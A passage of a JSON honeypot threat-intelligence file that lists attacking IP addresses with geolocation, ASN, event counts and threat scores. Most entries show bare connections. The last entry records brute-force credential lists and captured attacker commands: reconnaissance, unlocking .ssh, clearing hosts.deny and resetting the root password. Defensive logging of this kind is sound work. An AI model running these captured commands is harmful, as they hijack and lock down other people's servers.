      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T07:20:30.615000+00:00",
        "last_seen_30d": "2026-05-25T07:21:49.693000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.112.138.124": {
      "attack_count": 2,
      "first_seen": "2026-05-22T08:11:33.695Z",
      "last_seen": "2026-05-22T08:11:46.763Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yiwu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T08:11:33.695000+00:00",
        "last_seen_30d": "2026-05-22T08:12:55.915000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.126.123.219": {
      "attack_count": 2,
      "first_seen": "2026-05-02T03:15:06.234Z",
      "last_seen": "2026-05-02T03:15:19.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:15:06.234000+00:00",
        "last_seen_30d": "2026-05-02T03:16:23.235000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.59.87.206": {
      "attack_count": 2,
      "first_seen": "2026-05-08T03:50:33.530Z",
      "last_seen": "2026-05-08T03:50:46.935Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Sah\u0101ranpur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:50:33.530000+00:00",
        "last_seen_30d": "2026-05-08T03:51:57.099000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.196.246.71": {
      "attack_count": 2,
      "first_seen": "2026-05-17T11:23:36.382Z",
      "last_seen": "2026-05-17T11:23:49.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Moreno",
      "asn": 263801,
      "as_org": "LINKEAR SRL",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T11:23:36.382000+00:00",
        "last_seen_30d": "2026-05-17T11:24:59.093000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "169.224.67.97": {
      "attack_count": 2,
      "first_seen": "2026-05-10T14:50:17.086Z",
      "last_seen": "2026-05-10T14:50:31.330Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Kirkuk",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:50:17.086000+00:00",
        "last_seen_30d": "2026-05-10T14:51:39.422000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "169.255.185.87": {
      "attack_count": 2,
      "first_seen": "2026-05-07T12:53:46.916Z",
      "last_seen": "2026-05-07T12:54:00.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 327885,
      "as_org": "Viettel-Tanzania",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T12:53:46.916000+00:00",
        "last_seen_30d": "2026-05-07T12:55:08.893000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.225.45": {
      "attack_count": 2,
      "first_seen": "2026-05-23T16:36:26.778Z",
      "last_seen": "2026-05-23T16:36:38.828Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:36:26.778000+00:00",
        "last_seen_30d": "2026-05-23T16:37:47.767000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.78.30.53": {
      "attack_count": 2,
      "first_seen": "2026-05-30T11:05:33.727Z",
      "last_seen": "2026-05-30T11:05:47.180Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Akhtyrskiy",
      "asn": 34150,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:05:33.727000+00:00",
        "last_seen_30d": "2026-05-30T11:06:53.830000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.148.207.212": {
      "attack_count": 2,
      "first_seen": "2026-05-05T23:38:00.803Z",
      "last_seen": "2026-05-05T23:38:13.680Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:38:00.803000+00:00",
        "last_seen_30d": "2026-05-05T23:39:20.019000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.212.82.138": {
      "attack_count": 2,
      "first_seen": "2026-05-28T05:53:28.715Z",
      "last_seen": "2026-05-28T05:53:40.698Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 16629,
      "as_org": "CTC. CORP S.A. TELEFONICA EMPRESAS",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T05:53:28.715000+00:00",
        "last_seen_30d": "2026-05-28T05:54:42.023000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.18.152.83": {
      "attack_count": 2,
      "first_seen": "2026-05-30T07:18:35.508Z",
      "last_seen": "2026-05-30T07:20:35.509Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bosnia and Herzegovina",
      "country_code": "BA",
      "city": null,
      "asn": 42560,
      "as_org": "Telemach BH d.o.o. Sarajevo",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T07:18:35.508000+00:00",
        "last_seen_30d": "2026-05-30T07:31:34.785000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.65.238.30": {
      "attack_count": 2,
      "first_seen": "2026-05-13T17:08:06.044Z",
      "last_seen": "2026-05-13T17:08:18.313Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Florian\u00f3polis",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T17:08:06.044000+00:00",
        "last_seen_30d": "2026-05-13T17:09:19.735000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.44": {
      "attack_count": 2,
      "first_seen": "2026-05-05T18:35:44.606Z",
      "last_seen": "2026-05-05T18:35:44.774Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 29,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T01:31:08+00:00",
        "last_seen_30d": "2026-05-31T22:06:03.378000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 13,
        "Cowrie": 2,
        "ConPot": 1,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "2.81.243.67": {
      "attack_count": 2,
      "first_seen": "2026-05-12T23:29:12.128Z",
      "last_seen": "2026-05-12T23:29:24.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Louro",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T23:29:12.128000+00:00",
        "last_seen_30d": "2026-05-12T23:30:33.197000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.219.16.158": {
      "attack_count": 2,
      "first_seen": "2026-05-07T00:06:15.580Z",
      "last_seen": "2026-05-07T00:06:28.536Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Entre Rios",
      "asn": 270810,
      "as_org": "Mi Conect Rede de Acesso as Comunicacoes LTDA",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T00:06:15.580000+00:00",
        "last_seen_30d": "2026-05-07T00:07:36.085000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.148.8.38": {
      "attack_count": 2,
      "first_seen": "2026-05-09T07:53:47.183Z",
      "last_seen": "2026-05-09T07:54:00.556Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Emiliano Zapata",
      "asn": 18734,
      "as_org": "Operbes, S.A. de C.V.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:53:47.183000+00:00",
        "last_seen_30d": "2026-05-09T07:55:03.545000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "206.62.164.165": {
      "attack_count": 2,
      "first_seen": "2026-05-02T00:08:51.783Z",
      "last_seen": "2026-05-02T00:09:05.109Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 269984,
      "as_org": "CORPORACION MATRIX TV, C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:08:51.783000+00:00",
        "last_seen_30d": "2026-05-02T00:10:07.149000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "218.73.41.198": {
      "attack_count": 2,
      "first_seen": "2026-05-04T10:05:04.029Z",
      "last_seen": "2026-05-04T10:05:19.703Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T10:05:04.029000+00:00",
        "last_seen_30d": "2026-05-04T10:06:22.856000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.151.73.120": {
      "attack_count": 2,
      "first_seen": "2026-05-25T01:43:53.146Z",
      "last_seen": "2026-05-25T01:44:06.586Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T01:43:53.146000+00:00",
        "last_seen_30d": "2026-05-25T01:45:07.989000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.41.21.58": {
      "attack_count": 2,
      "first_seen": "2026-05-06T23:38:50.487Z",
      "last_seen": "2026-05-06T23:39:03.058Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 269832,
      "as_org": "MDS TELECOM C.A.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T23:38:50.487000+00:00",
        "last_seen_30d": "2026-05-06T23:40:12.805000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.228.189.19": {
      "attack_count": 2,
      "first_seen": "2026-05-02T19:49:46.362Z",
      "last_seen": "2026-05-02T19:49:58.986Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Ober\u00e1",
      "asn": 266668,
      "as_org": "OBERCOM S.R.L.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:49:46.362000+00:00",
        "last_seen_30d": "2026-05-02T19:51:03.209000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.43.163.178": {
      "attack_count": 2,
      "first_seen": "2026-05-11T10:56:59.424Z",
      "last_seen": "2026-05-11T10:57:12.629Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Dehradun",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:56:59.424000+00:00",
        "last_seen_30d": "2026-05-11T10:58:13.854000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "50.73.241.105": {
      "attack_count": 2,
      "first_seen": "2026-05-07T12:03:59.100Z",
      "last_seen": "2026-05-07T12:04:12.162Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Jacksonville",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T12:03:59.100000+00:00",
        "last_seen_30d": "2026-05-07T12:05:21.914000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.117.58.230": {
      "attack_count": 2,
      "first_seen": "2026-05-10T19:16:00.856Z",
      "last_seen": "2026-05-10T19:16:32.149Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T19:16:00.856000+00:00",
        "last_seen_30d": "2026-05-10T19:17:33.111000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "68.168.211.82": {
      "attack_count": 31594,
      "first_seen": "2026-05-27T10:58:29.622Z",
      "last_seen": "2026-05-29T11:21:10.841Z",
      "sessions": 15777,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 47842,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T10:58:29.622000+00:00",
        "last_seen_30d": "2026-05-29T11:22:17.862000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 31594,
        "Suricata": 16248
      }
    },
    "144.31.132.70": {
      "attack_count": 494,
      "first_seen": "2026-05-15T05:51:30.475Z",
      "last_seen": "2026-05-24T08:16:09.977Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kiosk",
        "ubuntu",
        "admin",
        "alex",
        "ansible",
        "debian",
        "dev",
        "ftpuser",
        "im",
        "michele",
        "minikube",
        "nana",
        "practicas",
        "staging",
        "student",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W#E$R1q2w3e4r",
        "010203",
        "123",
        "123123",
        "123321",
        "1234",
        "123456",
        "1234567890",
        "12345678Abc",
        "123456A",
        "1qaz!QAZ",
        "1qaz@Wsx3edc",
        "87654321",
        "Aa123!@#",
        "Aa123456!",
        "Admin111",
        "Admin123...",
        "Qwerty123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa123456!\\nvmJ15W8GyZZr\\nvmJ15W8GyZZr\\n\"|passwd",
        "echo \"kiosk\\nKHcyYA6blQJc\\nKHcyYA6blQJc\\n\"|passwd",
        "echo \"root:8k1Qh9GIVLhQ\"|chpasswd|bash",
        "echo \"root:iYHKOA33qRTT\"|chpasswd|bash",
        "echo \"root:tpDp8z4lwclt\"|chpasswd|bash",
        "echo -e \"Aa123456!\\nvmJ15W8GyZZr\\nvmJ15W8GyZZr\"|passwd|bash",
        "echo -e \"kiosk\\nKHcyYA6blQJc\\nKHcyYA6blQJc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 210546,
      "as_org": "Chsl One Ltd",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 592,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:51:30.475000+00:00",
